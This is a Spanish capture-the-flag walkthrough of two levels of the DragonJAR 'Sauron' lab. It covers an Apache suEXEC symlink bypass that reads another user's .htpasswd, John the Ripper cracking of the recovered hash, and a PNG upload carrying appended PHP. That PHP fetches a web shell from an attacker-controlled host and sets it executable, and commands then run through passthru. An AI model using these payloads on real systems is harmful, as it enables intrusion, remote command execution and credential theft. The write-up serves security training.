Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 5 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org).

Herramientas necesarias:

BackTrack, Shell PHP (en nuestro caso, C99), John The Ripper,

Palabras claves (Documentos de interés, Definiciones):

Servidor Web – Apache – .HTACCESS – Comandos habituales en Linux – PHP – Vulnerabilidades – Shell, Shell PHP, Null Byte Injection

El nivel 5 es quizá uno de los momentos menos concretos de todos los que se pueden presentar. Ahora hemos conseguido ser usuarios locales del sistema, podemos ejecutar comandos, leer directorios, ver configuraciones, y podemos, en definitiva, explorar muchísimas posibilidades.

Sin embargo, hay que matizar algo importante, que puede servir para ahorrarnos muchas horas de trabajo inútil: si nos encontramos en un sistema actualizado, sin fallos de seguridad en el kernel y en otros servicios administrativos, es muy difícil, a menos que el administrador haya configurado algo de forma errónea, escalar privilegios directamente, hacia un usuario administrativo. ¿Qué podemos hacer entonces en estas situaciones?

Nuestro objetivo, en estos casos en los que ser “root” o “Administrador” no parece ser inmediato, será extraer la mayor cantidad de información del sistema, obtener el mayor número de cuentas de usuario posibles, etc.

¿Cómo conseguir eso?

Primeramente, en los sistemas que tengan servicios web, nos centraremos en estos, ¿por qué?. Básicamente porque el aislamiento entre usuarios web, es quizá no complicado, pero sí tedioso. Es fácil encontrar escenarios en los que directamente podamos acceder a los directorios de otros usuarios en la web, y leer sus ficheros, porque todas estas carpetas pueden ser leídas por el usuario que ejecuta el servidor web ( apache, httpd, etc ). En otros escenarios los usuarios web estarán aislados usando cgi-wrappers. Y únicamente, en los entornos más avanzados y seguros, cada usuario web poseerá una máquina virtual o un vps, en la que sólo existirá él. En caso de no existir escenario web, otros escenarios posibles son por este orden: ficheros de configuración, ficheros temporales, ficheros de logs y permisos inseguros.

En este escenario que nos ocupa, relativamente común en un entorno de seguridad medio con árbol web (incluso muy común en granjas de servidores web), vamos a ver cómo se puede proceder. Lo primero, saber quiénes son los usuarios.

blindware:x:500:500::/var/www/blindware:/bin/bash
intranet:x:501:501::/var/www/intranet:/bin/bash
developer:x:502:502::/home/developer:/bin/bash

El sistema parece tener 3 usuarios. 2 de ellos, usuarios web, uno de los cuales es el usuario con el que podemos ejecutar comandos, y otro es el usuario “intranet”.

Podemos probar a acceder al directorio del usuario intranet (/var/www/intranet), pero rápidamente nos daremos cuenta, que poco podemos hacer, pues nos deniega el acceso. Incluso si intentamos leer /var/www, obtendremos resultado parecido, puesto que sus permisos son los siguientes:

d–x–x–x 8 root root 4096 May 12 13:52 www

Ésta situación es bastante común, sin embargo, hay un fichero en el sistema que nos será siempre de gran utilidad, y es la configuración del propio Apache, la cual habitualmente se encuentra desprotegida (en este caso dentro de /etc/httpd/httpd.conf).

<VirtualHost *:80>
ServerAdmin blindware@blindware.inc
DocumentRoot /var/www/blindware/htdocs
ServerName www.blindware.inc
SuexecUserGroup blindware blindware
<Directory />
Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All
</Directory>
</VirtualHost>

<VirtualHost *:80>
ServerAdmin intranet@blindware.inc
DocumentRoot /var/www/intranet/htdocs
ServerName intranet.blindware.inc
SuexecUserGroup intranet intranet
<Directory />
Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All
</Directory>
</VirtualHost>

De esta configuración, lo primero que extraemos, es que los hosts están aislados mediante Apache suEXEC, lo cual hace que PHP esté configurado para ejecución en modo CGI, en vez de cómo módulo de Apache, y por ello antes necesitábamos permisos de ejecución en los ficheros PHP. Tal y como comentamos con anterioridad, no es recomendable ir reinventando la rueda a cada paso, por ello, la pregunta que nos tenemos que hacer en este punto es: ¿existe algún procedimiento público y documentado que permita sobrepasar los mecanismos de aislamiento de hosts basados en Apache suEXEC?.

Existe, únicamente tenemos que buscar en Google: “apache suexec“, “apache suexec bypass“, o similares y encontraremos un documento denominado “Apache suEXEC Bypass” en el cual se nos detalla de forma bastante extensa los problemas de configuración asociados a éste sistema.

A grandes rasgos, nosotros vamos a sacar lo más interesante del documento, para hacernos una idea de cómo podemos proceder para leer ficheros dentro del directorio web del usuario intranet.

1. Los diferentes hosts virtuales de Apache, mediante suEXEC, lo que consiguen es que cada host ejecute comandos CGI, bajo un usuario diferente. De esta forma, por ejemplo, nosotros ejecutamos comandos con “blindware”, mientras que el vhost intranet, ejecuta comandos con el usuario “intranet”.

2. Esto permite un esquema de aislamiento “relativamente” sencillo.

drwxr-x— 3 blindware apache 4096 nov 25 17:00 blindware
drwxr-x— 3 intranet apache 4096 nov 25 17:00 intranet

Si nos damos cuenta, cada usuario es propietario de su directorio, y ningún otro usuario puede acceder a ellos, a excepción del usuario apache, con el que se ejecuta el servicio web. Esto “garantiza”, que aunque el usuario ejecute comandos en el sistema, ningún usuario podrá acceder al directorio de otro usuario.

3. Esta idea, cuenta con un fallo: el enlace simbólico. Los enlaces simbólicos se pueden establecer sobre ficheros en los que no tenemos permisos. Dicho de otra forma, nosotros como usuario “blindware”, podemos enlazar cualquier fichero del usuario “intranet”, del que conozcamos su existencia.

4. Una vez enlazado el fichero, podremos usar Apache, para leer el enlace simbólico, de esta forma, el enlace simbólico será leido con los permisos de Apache, usuario Apache, y podremos acceder a aquellos directorios a los que Apache tenga acceso, que comúnmente son todos los del árbol web, puesto que debe poder leerlos.

5. Para que el ataque tenga éxito Apache, es así por defecto, debe estar activa la opción FollowSymLinks en Apache. Por el contrario, si la opción que se encuentra activa es SymLinksIfOwnerMatch, el ataque no se podrá realizar, puesto que Apache, únicamente seguirá enlaces que apunten a ficheros propiedad del dueño del enlace.

6. En caso de estar activa la directiva SymLinksIfOwnerMatch, podrá ser modificada por un usuario mediante un fichero .htaccess, siempre que las opciones AllowOverride Options, o AllowOverride All, estén habilitadas.

A priori, parece que nos encontramos en un escenario vulnerable: se usa suEXEC, y aunque se encuentra habilitada la opción SymLinksIfOwnerMatch, también está habilitada la cláusula AllowOverride All. Por tanto, es cuestión de proceder, a través de nuestra shell en PHP según lo que vamos a describir a continuación. Un detalle importante, cuando queramos ejecutar contenido en nuestra shell PHP, cualquier instrucción que incluya caracteres mínimamente extraños, debemos hace uso de URLEncode.

1. Lo primero que queremos hacer es escribir un fichero .htaccess que nos permita aprovecharnos de esta vulnerabilidad. La orden bien pudiera ser esta.

echo “Options -SymLinksIfOwnerMatch +FollowSymLinks” > .htaccess

Pero como sabemos, debe ser URLEncodeada, quedando una cadena, para su ejecución en nuestra shell, como la siguiente:

echo+%22Options+-SymLinksIfOwnerMatch+%2BFollowSymLinks%22+%3E+.htaccess

2. Ahora es cuestión de crear un enlace simbólico, sobre algún contenido que nos interese leer del directorio “intranet”. En este caso, lo más interesante es leer el fichero .htaccess de ese directorio, del que nos garantizamos su existencia, y que además nos impide el acceso al contenido web de http://intranet.blindware.inc.
Creamos pues el enlace simbólico:

ln –s /var/www/intranet/htdocs/.htaccess htaccess

De esta forma, tenemos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htacccess, que una vez visitado nos dará el contenido del fichero:

Options +Indexes
AuthName “Blindware – Intranet Protected”
AuthType Basic
AuthUserFile /var/www/intranet/htdocs/.htpasswd
require valid-user

3. Repetimos el proceso, una vez que conocemos la localización del fichero .htpasswd. Para ello creamos otro enlace simbólico:

ln -s /var/www/intranet/htdocs/.htpasswd htpasswd

De esta forma, creamos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htpasswd, que una vez visitado nos dará el contenido del fichero.

admin:tCPJIYCZjtqF6

4. Tenemos el usuario, y el hash del acceso a intranet.blindware.inc, podemos bien intentar crackearlo, bien seguir intentando la lectura de ficheros contenidos en ese directorio. A priori es un hash DES tradicional, con lo cual podemos intentar romperlo, a ver qué sucede.

Para romper el hash, hacemos uso de la herramienta “john the ripper”, que es con diferencia el crackeador de passwords más conocido de Unix.

$ john htpasswd
guesses: 1 time: 0:00:00:10 (3) c/s: 335628 trying: 132449 – 132498
Loaded 1 password hash (Traditional DES [64/64 BS MMX])
132456 (admin)

Pues ya conocemos el password: 132456 con usuario admin. Lo que nos permite acceder a intranet.blindware.inc y seguir avanzando en la resolución de Sauron. Dentro de 15 días, continuaremos con el siguiente nivel.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 4 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org) – Incluye la Shell C99 codificada en base 64 “no detectable”.

Herramientas necesarias:

Shell Linux/BackTrack, Servidor Web (incluido en backtrack-Apache), Shell PHP (en nuestro caso, C99)

Palabras claves (Documentos de interés, Definiciones):

Servidor Web – Apache – PHP – Vulnerabilidades – Comando CAT, Shell, Shell PHP, Null Byte Injection

Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:

• Información sobre el sistema
• Administración de MySQL mediante MySQL Admin
• Visualización de Estadísticas
• Cambio de parámetros

Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.

Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.

No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.

Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección “Cambio de parámetros” la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.

Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:

• Únicamente permite ficheros con extensión PNG
• El tamaño del fichero está limitado a 8KB
• El contenido del fichero debe corresponder con una imagen PNG

Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.

Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:

$ cat >> img.png
<? phpinfo(); ?>

Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.

¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:

<? header(“Content-Type: image/png”); readfile(“01.png”); ?>

Por tanto, nuestro fichero subido sabemos que se llama “01.png” y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:

Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.

El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:

<? copy(“http://ip/shell.txt”,”shell.php”); ?>

Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.

El contenido de shell.txt puede ser el siguiente:

<?
header(“Content-Type: text/plain”);
passthru($_GET[“cmd”);
?>

El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable “cmd”. De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php

Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:

<? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?>

Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x

Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:

http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux

http://www.blindware.inc/_controlp/shell.php?cmd=id
uid=500(blindware) gid=500(blindware) groups=500(blindware)